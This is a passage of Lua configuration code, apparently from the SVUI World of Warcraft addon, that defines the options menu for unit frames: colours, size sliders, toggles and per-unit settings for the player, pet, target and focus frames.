MOD:ChangeDBVar(value, "disableBlizzard");
SV:StaticPopup_Show("RL_CLIENT")
end
},
fastClickTarget = {
order = 3,
name = L["Fast Clicks"],
desc = L["Immediate mouse-click-targeting"],
type = "toggle"
},
debuffHighlighting = {
order = 4,
name = L["Debuff Highlight"],
desc = L["Color the unit if there is a debuff that can be dispelled by your class."],
type = "toggle"
},
xrayFocus = {
order = 5,
name = L["X-Ray Specs"],
desc = L["Use handy graphics to focus the current target, or clear the current focus"],
type = "toggle"
},
resolveBar = {
order = 6,
name = L["Resolve Meter"],
desc = L["A convenient meter for tanks to display their current resolve."],
type = "toggle"
},
infoBackgrounds = {
order = 7,
name = L["Info Backgrounds"],
desc = L["Show or hide the gradient under each of the four main unitframes. (Player, Target, Pet, Target of Target)"],
type = "toggle"
},
spacer99 = {
order = 8,
name = "",
type = "description",
width = "full",
},
OORAlpha = {
order = 9,
name = L["Range Fading"],
desc = L["The transparency of units that are out of range."],
type = "range",
min = 0,
max = 1,
step = 0.01,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
end
},
groupOORAlpha = {
order = 10,
name = L["Group Range Fading"],
desc = L["The transparency of group units that are out of range."],
type = "range",
min = 0,
max = 1,
step = 0.01,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
end
},
}
},
backgroundGroup = {
order = 2,
type = "group",
guiInline = true,
name = "Unit Backgrounds (3D Portraits Only)",
get = function(key)
return SV.media.shared.background[key[#key]].file
end,
set = function(key, value)
SV.media.shared.background[key[#key]].file = value
SV:RefreshEverything(true)
end,
args = {
unitlarge = {
type = "select",
dialogControl = "LSM30_Background",
order = 2,
name = "Unit Background",
values = AceGUIWidgetLSMlists.background,
},
unitsmall = {
type = "select",
dialogControl = "LSM30_Background",
order = 3,
name = "Small Unit Background",
values = AceGUIWidgetLSMlists.background,
}
}
},
barGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["Bars"],
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshAllUnitMedia()
end,
args = {
smoothbars = {
type = "toggle",
order = 1,
name = L["Smooth Bars"],
desc = L["Bars will transition smoothly."]
},
statusbar = {
type = "select",
dialogControl = "LSM30_Statusbar",
order = 2,
name = L["StatusBar Texture"],
desc = L["Main statusbar texture."],
values = AceGUIWidgetLSMlists.statusbar
},
auraBarStatusbar = {
type = "select",
dialogControl = "LSM30_Statusbar",
order = 3,
name = L["AuraBar Texture"],
desc = L["Main statusbar texture."],
values = AceGUIWidgetLSMlists.statusbar
},
}
},
fontGroup = {
order = 4,
type = "group",
guiInline = true,
name = L["Fonts"],
args = {
fontConfigButton = {
order = 1,
name = L["Set UnitFrame Fonts"],
type = "execute", func = function() SVUIOptions:SetToFontConfig("UnitFrame") end
},
}
},
allColorsGroup = {
order = 5,
type = "group",
guiInline = true,
name = L["Colors"],
args = {
healthGroup = {
order = 9,
type = "group", guiInline = true,
name = HEALTH,
args = {
forceHealthColor = {
order = 1,
type = "toggle",
name = L["Overlay Health Color"],
desc = L["Allow custom health colors when using portrait overlays."],
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames()
end
},
overlayAnimation = {
order = 2,
type = "toggle",
name = L["Overlay Animations"],
desc = L["Toggle health animations on portrait overlays."],
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames()
end
},
health = {
order = 3,
type = "color",
name = L["Health"],
get = function(key)
local color = SV.media.extended.unitframes.health
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.health = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
healthBackdrop = {
order = 4,
type = "color",
name = L["Health Backdrop"],
get = function(key)
local color = SV.media.extended.unitframes.healthBackdrop
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.healthBackdrop = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
tapped = {
order = 5,
type = "color",
name = L["Tapped"],
get = function(key)
local color = SV.media.extended.unitframes.tapped
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.tapped = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
disconnected = {
order = 6,
type = "color",
name = L["Disconnected"],
get = function(key)
local color = SV.media.extended.unitframes.disconnected
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.disconnected = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
}
}
},
powerGroup = {
order = 10,
type = "group",
guiInline = true,
name = L["Powers"],
args = {
MANA = {
order = 1,
name = MANA,
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.power["MANA"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.power["MANA"] = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
RAGE = {
order = 2,
name = RAGE,
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.power["RAGE"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.power["RAGE"] = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
FOCUS = {
order = 3,
name = FOCUS,
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.power["FOCUS"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.power["FOCUS"] = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
ENERGY = {
order = 4,
name = ENERGY,
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.power["ENERGY"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.power["ENERGY"] = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
RUNIC_POWER = {
order = 5,
name = RUNIC_POWER,
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.power["RUNIC_POWER"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.power["RUNIC_POWER"] = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
}
}
},
castBars = {
order = 11,
type = "group",
guiInline = true,
name = L["Castbar"],
args = {
castClassColor = {
order = 0,
type = "toggle",
name = L["Class Castbars"],
desc = L["Color castbars by the class or reaction type of the unit."],
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames()
end
},
casting = {
order = 3,
name = L["Interruptable"],
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.casting
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.casting = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
spark = {
order = 4,
name = "Spark Color",
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.spark
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.spark = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
interrupt = {
order = 5,
name = L["Non-Interruptable"],
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.interrupt
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.interrupt = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
}
}
},
auraBars = {
order = 11,
type = "group",
guiInline = true,
name = L["Aura Bars"],
args = {
auraBarByType = {
order = 1,
name = L["By Type"],
desc = L["Color aurabar debuffs by type."],
type = "toggle",
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames()
end
},
auraBarShield = {
order = 2,
name = L["Color Shield Buffs"],
desc = L["Color all buffs that reduce incoming damage."],
type = "toggle",
get = function(key)
return SV.db[Schema][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key]);
MOD:RefreshUnitFrames()
end
},
buff_bars = {
order = 10,
name = L["Buffs"],
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.buff_bars
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.buff_bars = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
debuff_bars = {
order = 11,
name = L["Debuffs"],
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.debuff_bars
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.debuff_bars = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
},
shield_bars = {
order = 12,
name = L["Shield Buffs Color"],
type = "color",
get = function(key)
local color = SV.media.extended.unitframes.shield_bars
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.shield_bars = {rValue, gValue, bValue}
MOD:RefreshAllUnitMedia()
end,
}
}
},
predict = {
order = 12,
name = L["Heal Prediction"],
type = "group",
args = {
personal = {
order = 1,
name = L["Personal"],
type = "color",
hasAlpha = true,
get = function(key)
local color = SV.media.extended.unitframes.predict["personal"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.predict["personal"] = {rValue, gValue, bValue}
MOD:RefreshUnitFrames()
end,
},
others = {
order = 2,
name = L["Others"],
type = "color",
hasAlpha = true,
get = function(key)
local color = SV.media.extended.unitframes.predict["others"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.predict["others"] = {rValue, gValue, bValue}
MOD:RefreshUnitFrames()
end,
},
absorbs = {
order = 2,
name = L["Absorbs"],
type = "color",
hasAlpha = true,
get = function(key)
local color = SV.media.extended.unitframes.predict["absorbs"]
return color[1],color[2],color[3]
end,
set = function(key, rValue, gValue, bValue)
SV.media.extended.unitframes.predict["absorbs"] = {rValue, gValue, bValue}
MOD:RefreshUnitFrames()
end,
}
}
}
}
}
}
},
player = {
name = L['Player'],
type = 'group',
order = 3,
childGroups = "select",
get = function(l)return SV.db.UnitFrames['player'][l[#l]]end,
set = function(l,m)MOD:ChangeDBVar(m, l[#l], "player");MOD:SetUnitFrame('player')end,
args = {
enable = {
type = 'toggle',
order = 1,
name = L['Enable']
},
resetSettings = {
type = 'execute',
order = 2,
name = L['Restore Defaults'],
func = function(l,m)
MOD:ResetUnitOptions('player')
SV:ResetAnchors('Player Frame')
end
},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = 'group',
name = L['General Settings'],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
combatfade = {
order = 1,
name = L["Combat Fade"],
desc = L["Fade the unitframe when out of combat, not casting, no target exists."],
type = "toggle",
set = function(l, m)
MOD:ChangeDBVar(m, l[#l], "player");
MOD:SetUnitFrame("player")
if m == true then
SVUI_Pet:SetParent(SVUI_Player)
else
SVUI_Pet:SetParent(SVUI_UnitFrameParent)
end
end
},
predict = {
order = 2,
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
type = "toggle"
},
threatEnabled = {
type = "toggle",
order = 3,
name = L["Show Threat"]
},
playerExpBar = {
order = 4,
name = "Playerframe Experience Bar",
desc = "Show player experience on power bar mouseover",
type = "toggle",
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player");SV:StaticPopup_Show("RL_CLIENT")end
},
playerRepBar = {
order = 5,
name = "Playerframe Reputation Bar",
desc = "Show player reputations on power bar mouseover",
type = "toggle",
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player");SV:StaticPopup_Show("RL_CLIENT")end
}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 50,
max = 500,
step = 1,
set = function(l, m)
if SV.db.UnitFrames["player"].castbar.width == SV.db.UnitFrames["player"][l[#l]] then
SV.db.UnitFrames["player"].castbar.width = m
end
MOD:ChangeDBVar(m, l[#l], "player");
MOD:SetUnitFrame("player")
end
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 250,
step = 1
},
}
},
pvpGroup = {
order = 3,
type = "group",
guiInline = true,
name = PVP,
get = function(l)return SV.db.UnitFrames["player"]["pvp"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player", "pvp");MOD:SetUnitFrame("player")end,
args = {
position = {
type = "select",
order = 2,
name = L["Position"],
values = {
TOPLEFT = "TOPLEFT",
LEFT = "LEFT",
BOTTOMLEFT = "BOTTOMLEFT",
RIGHT = "RIGHT",
TOPRIGHT = "TOPRIGHT",
BOTTOMRIGHT = "BOTTOMRIGHT",
CENTER = "CENTER",
TOP = "TOP",
BOTTOM = "BOTTOM"
}
},
tags = {
order = 100,
name = L["Text Format"],
type = "input",
width = "full",
desc = L["TEXT_FORMAT_DESC"]
}
}
}
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "player"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "player"),
power = SVUIOptions:SetPowerConfigGroup(true, MOD.SetUnitFrame, "player"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "player"),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "player"),
buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetUnitFrame, "player"),
debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetUnitFrame, "player"),
castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "player"),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "player"),
classbar = {
order = 1000,
type = "group",
name = L["Classbar"],
get = function(l)return SV.db.UnitFrames["player"]["classbar"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "player", "classbar");MOD:SetUnitFrame("player")end,
args = {
enable = {
type = "toggle",
order = 1,
name = L["Classbar Enabled"]
},
detachFromFrame = {
type = "toggle",
order = 2,
name = L["Detach From Frame"]
},
height = {
type = "range",
order = 4,
name = L["Classbar Height (Size)"],
min = 15,
max = 45,
step = 1
},
}
}
}
},
pet = {
name = L["Pet"],
type = "group",
order = 4,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["pet"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pet");MOD:SetUnitFrame("pet")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("pet")SV:ResetAnchors("Pet Frame")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()local U = SVUI_Pet;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("pet")end
},
miscGroup = {
order = 2,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
rangeCheck = {
order = 2,
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
type = "toggle"
},
predict = {
order = 3,
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
type = "toggle"
},
hideonnpc = {
type = "toggle",
order = 4,
name = L["Text Toggle On NPC"],
desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."],
get = function(l)return SV.db.UnitFrames["pet"]["power"].hideonnpc end,
set = function(l, m)SV.db.UnitFrames["pet"]["power"].hideonnpc = m;MOD:SetUnitFrame("pet")end
},
threatEnabled = {
type = "toggle",
order = 5,
name = L["Show Threat"]
},
}
},
scaleGroup = {
order = 6,
type = "group",
guiInline = true,
name = L["Frame Size"],
args = {
width = {order = 1, name = L["Width"], width = "full", type = "range", min = 50, max = 500, step = 1},
height = {order = 2, name = L["Height"], width = "full", type = "range", min = 10, max = 250, step = 1},
}
},
watchGroup = {
order = 8,
type = "group",
guiInline = true,
name = L["Aura Watch"],
get = function(l)return SV.db.UnitFrames["pet"]["auraWatch"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pet", "auraWatch");MOD:SetUnitFrame("pet")end,
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1
},
size = {
type = "range",
name = L["Size"],
desc = L["Size of the indicator icon."],
order = 2,
min = 4,
max = 15,
step = 1
}
}
},
},
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "pet"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "pet"),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "pet"),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "pet"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "pet"),
buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetUnitFrame, "pet"),
debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetUnitFrame, "pet")
}
},
pettarget = {
name = L["Pet Target"],
type = "group",
order = 5,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["pettarget"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "pettarget");MOD:SetUnitFrame("pettarget")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("pettarget")SV:ResetAnchors("PetTarget Frame")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()local U = SVUI_PetTarget;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("pettarget")end
},
miscGroup = {
order = 2,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
rangeCheck = {
order = 2,
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
type = "toggle"
},
hideonnpc = {
type = "toggle",
order = 4,
name = L["Text Toggle On NPC"],
desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."],
get = function(l)return SV.db.UnitFrames["pettarget"]["power"].hideonnpc end,
set = function(l, m)SV.db.UnitFrames["pettarget"]["power"].hideonnpc = m;MOD:SetUnitFrame("pettarget")end
},
threatEnabled = {
type = "toggle",
order = 5,
name = L["Show Threat"]
},
}
},
scaleGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["Frame Size"],
args = {
width = {order = 1, name = L["Width"], width = "full", type = "range", min = 50, max = 500, step = 1},
height = {order = 2, name = L["Height"], width = "full", type = "range", min = 10, max = 250, step = 1},
}
},
},
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "pettarget"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "pettarget"),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "pettarget"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "pettarget"),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "pettarget"),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "pettarget")
}
},
target = {
name = L['Target'],
type = 'group',
order = 6,
childGroups = "select",
get=function(l)return SV.db.UnitFrames['target'][l[#l]]end,
set=function(l,m)MOD:ChangeDBVar(m, l[#l], "target");MOD:SetUnitFrame('target')end,
args={
enable={type='toggle',order=1,name=L['Enable']},
resetSettings={type='execute',order=2,name=L['Restore Defaults'],func=function(l,m)MOD:ResetUnitOptions('target')SV:ResetAnchors('Target Frame')end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = 'group',
name = L['General Settings'],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()local U = SVUI_Target;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("target")end
},
predict = {
order = 2,
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
type = "toggle"
},
hideonnpc = {
type = "toggle",
order = 3,
name = L["Text Toggle On NPC"],
desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."],
get = function(l)return SV.db.UnitFrames["target"]["power"].hideonnpc end,
set = function(l, m)SV.db.UnitFrames["target"]["power"].hideonnpc = m;MOD:SetUnitFrame("target")end
},
threatEnabled = {
type = "toggle",
order = 4,
name = L["Show Threat"]
},
middleClickFocus = {
order = 5,
name = L["Middle Click - Set Focus"],
desc = L["Middle clicking the unit frame will cause your focus to match the unit."],
type = "toggle",
disabled = function()return IsAddOnLoaded("Clique")end
},
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
set = function(l, m)
if SV.db.UnitFrames["target"].castbar.width == SV.db.UnitFrames["target"][l[#l]] then
SV.db.UnitFrames["target"].castbar.width = m
end
MOD:ChangeDBVar(m, l[#l], "target");
MOD:SetUnitFrame("target")
end
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
}
}
},
combobar = {
order = 800,
type = "group",
name = L["Combobar"],
get = function(l)return SV.db.UnitFrames["target"]["combobar"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "target", "combobar");MOD:SetUnitFrame("target")end,
args = {
enable = {
type = "toggle",
order = 1,
name = L["Enable"]
},
smallIcons = {
type = "toggle",
name = L["Small Points"],
order = 2
},
height = {
type = "range",
order = 3,
name = L["Height"],
min = 15,
max = 45,
step = 1
},
autoHide = {
type = "toggle",
name = L["Auto-Hide"],
order = 4
}
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "target"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "target"),
power = SVUIOptions:SetPowerConfigGroup(true, MOD.SetUnitFrame, "target"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "target"),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "target"),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "target"),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "target"),
castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "target"),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "target")
}
},
targettarget = {
name = L['Target of Target'],
type = 'group',
order = 7,
childGroups = "select",
get = function(l)return SV.db.UnitFrames['targettarget'][l[#l]]end,
set = function(l,m)MOD:ChangeDBVar(m, l[#l], "targettarget");MOD:SetUnitFrame('targettarget')end,
args={
enable={type='toggle',order=1,name=L['Enable']},
resetSettings={type='execute',order=2,name=L['Restore Defaults'],func=function(l,m)MOD:ResetUnitOptions('targettarget')SV:ResetAnchors('TargetTarget Frame')end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = 'group',
name = L['General Settings'],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()local U = SVUI_TargetTarget;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("targettarget")end
},
spacer1 = {
order = 2,
type = "description",
name = "",
},
rangeCheck = {
order = 3,
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
type = "toggle"
},
hideonnpc = {
type = "toggle",
order = 4,
name = L["Text Toggle On NPC"],
desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."],
get = function(l)return SV.db.UnitFrames["target"]["power"].hideonnpc end,
set = function(l, m)SV.db.UnitFrames["target"]["power"].hideonnpc = m;MOD:SetUnitFrame("target")end
},
threatEnabled = {
type = "toggle",
order = 5,
name = L["Show Threat"]
}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
}
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "targettarget"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "targettarget"),
power = SVUIOptions:SetPowerConfigGroup(nil, MOD.SetUnitFrame, "targettarget"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "targettarget"),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetUnitFrame, "targettarget"),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "targettarget"),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "targettarget"),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "targettarget")
}
},
focus = {
name = L["Focus"],
type = "group",
order = 8,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["focus"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "focus");MOD:SetUnitFrame("focus")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("focus");SV:ResetAnchors("Focus Frame")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Settings"],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()local U = SVUI_Focus;if U.forceShowAuras then U.forceShowAuras = nil else U.forceShowAuras = true end MOD:SetUnitFrame("focus")end
},
rangeCheck = {
order = 2,
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
type = "toggle"
},
predict = {
order = 3,
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
type = "toggle"
},
hideonnpc = {
type = "toggle",
order = 4,
name = L["Text Toggle On NPC"],
desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."],
get = function(l)return SV.db.UnitFrames["focus"]["power"].hideonnpc end,
set = function(l, m)SV.db.UnitFrames["focus"]["power"].hideonnpc = m;MOD:SetUnitFrame("focus")end
},
threatEnabled = {
type = "toggle",
order = 5,
name = L["Show Threat"]
}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
},
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "focus"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "focus"),
power = SVUIOptions:SetPowerConfigGroup(nil, MOD.SetUnitFrame, "focus"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "focus"),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "focus"),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "focus"),
castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetUnitFrame, "focus"),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "focus")
}
},
focustarget = {
name = L["FocusTarget"],
type = "group",
order = 9,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["focustarget"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "focustarget");MOD:SetUnitFrame("focustarget")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("focustarget")SV:ResetAnchors("FocusTarget Frame")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Settings"],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
